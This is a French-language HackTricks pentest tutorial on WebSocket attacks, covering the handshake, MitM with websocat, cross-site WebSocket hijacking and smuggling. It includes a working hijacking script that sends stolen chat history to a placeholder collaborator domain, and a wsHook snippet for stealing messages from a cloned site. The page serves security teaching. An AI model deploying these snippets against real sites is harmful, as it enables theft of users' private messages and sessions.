13 KiB
Attaques WebSocket
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Qu'est-ce que les WebSockets
Les connexions WebSocket sont initiées via HTTP et sont généralement à longue durée de vie. Les messages peuvent être envoyés dans les deux sens à tout moment et ne sont pas de nature transactionnelle. La connexion restera normalement ouverte et inactive jusqu'à ce que le client ou le serveur soit prêt à envoyer un message.
Les WebSockets sont particulièrement utiles dans des situations où des messages à faible latence ou initiés par le serveur sont nécessaires, comme des flux en temps réel de données financières.
Comment les connexions WebSocket sont-elles établies ?
(Vous trouverez ici un résumé, mais un guide plus détaillé sur la création d'une connexion WebSocket est disponible ici).
Les connexions WebSocket sont normalement créées à l'aide de JavaScript côté client comme suit :
var ws = new WebSocket("wss://normal-website.com/ws");
Le protocole wss
établit un WebSocket sur une connexion TLS chiffrée, tandis que le protocole ws
utilise une connexion non chiffrée.
Pour établir la connexion, le navigateur et le serveur effectuent une poignée de main WebSocket sur HTTP. Le navigateur envoie une demande de poignée de main WebSocket comme suit :
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Si le serveur accepte la connexion, il renvoie une réponse de poignée de main WebSocket comme suit :
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
À ce stade, la connexion réseau reste ouverte et peut être utilisée pour envoyer des messages WebSocket dans les deux sens.
Note
Plusieurs caractéristiques des messages de poignée de main WebSocket méritent d'être soulignées :
- Les en-têtes
Connection
etUpgrade
dans la requête et la réponse indiquent qu'il s'agit d'une poignée de main WebSocket. - L'en-tête de requête
Sec-WebSocket-Version
spécifie la version du protocole WebSocket que le client souhaite utiliser. Il s'agit généralement de13
. - L'en-tête de requête
Sec-WebSocket-Key
contient une valeur aléatoire encodée en Base64, qui devrait être générée aléatoirement dans chaque requête de poignée de main. - L'en-tête de réponse
Sec-WebSocket-Accept
contient un hachage de la valeur soumise dans l'en-tête de requêteSec-WebSocket-Key
, concaténée avec une chaîne spécifique définie dans la spécification du protocole. Ceci est fait pour prévenir les réponses trompeuses résultant de serveurs mal configurés ou de proxies de mise en cache.
L'en-tête Sec-WebSocket-Key
contient une valeur aléatoire pour prévenir les erreurs de proxies de mise en cache, et n'est pas utilisé à des fins d'authentification ou de gestion de session (Ce n'est pas un jeton CSRF).
Console Linux
Vous pouvez utiliser websocat
pour établir une connexion brute avec un websocket.
websocat --insecure wss://10.10.10.10:8000 -v
Ou pour créer un serveur websocat :
websocat -s 0.0.0.0:8000 #Listen in port 8000
Attaques MitM sur les connexions websocket
Si vous découvrez que des clients sont connectés à un websocket HTTP depuis votre réseau local actuel, vous pourriez tenter une Attaque par Usurpation ARP pour réaliser une attaque MitM entre le client et le serveur.
Une fois que le client essaie de se connecter, vous pouvez alors utiliser :
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Énumération des Websockets
Vous pouvez utiliser l'outil https://github.com/PalindromeLabs/STEWS pour découvrir, identifier et rechercher automatiquement des vulnérabilités connues dans les websockets.
Outils de débogage Websocket
- Burp Suite prend en charge la communication MitM websockets de manière très similaire à celle utilisée pour la communication HTTP régulière.
- L'extension Burp Suite socketsleuth vous permettra de mieux gérer les communications Websocket dans Burp en obtenant l'historique, en définissant des règles d'interception, en utilisant des règles de correspondance et remplacement, en utilisant Intruder et AutoRepeater.
- WSSiP : Abréviation de "WebSocket/Socket.io Proxy", cet outil, écrit en Node.js, fournit une interface utilisateur pour capturer, intercepter, envoyer des messages personnalisés et voir toutes les communications WebSocket et Socket.IO entre le client et le serveur.
- wsrepl est un REPL websocket interactif conçu spécifiquement pour le pentesting. Il fournit une interface pour observer les messages websocket entrants et en envoyer de nouveaux, avec un cadre facile à utiliser pour automatiser cette communication.
- https://websocketking.com/ est un site web pour communiquer avec d'autres sites en utilisant des websockets.
- https://hoppscotch.io/realtime/websocket parmi d'autres types de communications/protocoles, il fournit un site web pour communiquer avec d'autres sites en utilisant des websockets.
Laboratoire Websocket
Dans Burp-Suite-Extender-Montoya-Course vous avez un code pour lancer un site web utilisant des websockets et dans ce post vous pouvez trouver une explication.
Détournement de WebSocket inter-sites (CSWSH)
Également connu sous le nom de détournement de WebSocket cross-origin.
C'est un Cross-Site Request Forgery (CSRF) sur une poignée de main WebSocket.
Il survient lorsque la requête de poignée de main WebSocket repose uniquement sur des cookies HTTP pour la gestion de session et ne contient aucun jeton CSRF ou autres valeurs imprévisibles.
Un attaquant peut créer une page web malveillante sur son propre domaine qui établit une connexion WebSocket inter-sites avec l'application vulnérable. L'application traitera la connexion dans le contexte de la session de l'utilisateur victime avec l'application.
Attaque Simple
Notez que lors de l'établissement d'une connexion websocket, le cookie est envoyé au serveur. Le serveur pourrait l'utiliser pour relier chaque utilisateur spécifique à sa session websocket basée sur le cookie envoyé.
Ensuite, si par exemple le serveur websocket renvoie l'historique de la conversation d'un utilisateur si un message avec "READY" est envoyé, alors un simple XSS établissant la connexion (le cookie sera envoyé automatiquement pour autoriser l'utilisateur victime) envoyant "READY" pourra récupérer l'historique de la conversation.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie avec un sous-domaine différent
Dans cet article de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, l'attaquant a réussi à exécuter du Javascript arbitraire dans un sous-domaine du domaine où se déroulait la communication par web socket. Comme il s'agissait d'un sous-domaine, le cookie était envoyé, et parce que le Websocket ne vérifiait pas correctement l'Origine, il était possible de communiquer avec lui et de voler des jetons.
Vol de données utilisateur
Copiez l'application web que vous souhaitez usurper (les fichiers .html par exemple) et dans le script où se déroule la communication websocket, ajoutez ce code :
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
Maintenant, téléchargez le fichier wsHook.js
depuis https://github.com/skepticfx/wshook et enregistrez-le dans le dossier contenant les fichiers web.
En exposant l'application web et en faisant en sorte qu'un utilisateur s'y connecte, vous pourrez voler les messages envoyés et reçus via websocket :
sudo python3 -m http.server 80
Conditions de course
Les Conditions de course dans les WebSockets sont également possibles, consultez ces informations pour en savoir plus.
Autres vulnérabilités
Comme les Web Sockets sont un mécanisme pour envoyer des données au serveur et au client, selon la manière dont le serveur et le client gèrent les informations, les Web Sockets peuvent être utilisés pour exploiter plusieurs autres vulnérabilités comme XSS, SQLi ou toute autre vulnérabilité web commune en utilisant l'entrée d'un utilisateur à partir d'un websocket.
WebSocket Smuggling
Cette vulnérabilité pourrait vous permettre de contourner les restrictions des reverse proxies en leur faisant croire qu'une communication websocket a été établie (même si ce n'est pas vrai). Cela pourrait permettre à un attaquant d'accéder à des points de terminaison cachés. Pour plus d'informations, consultez la page suivante :
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
Références
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
Apprenez le hacking AWS du débutant à l'expert avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.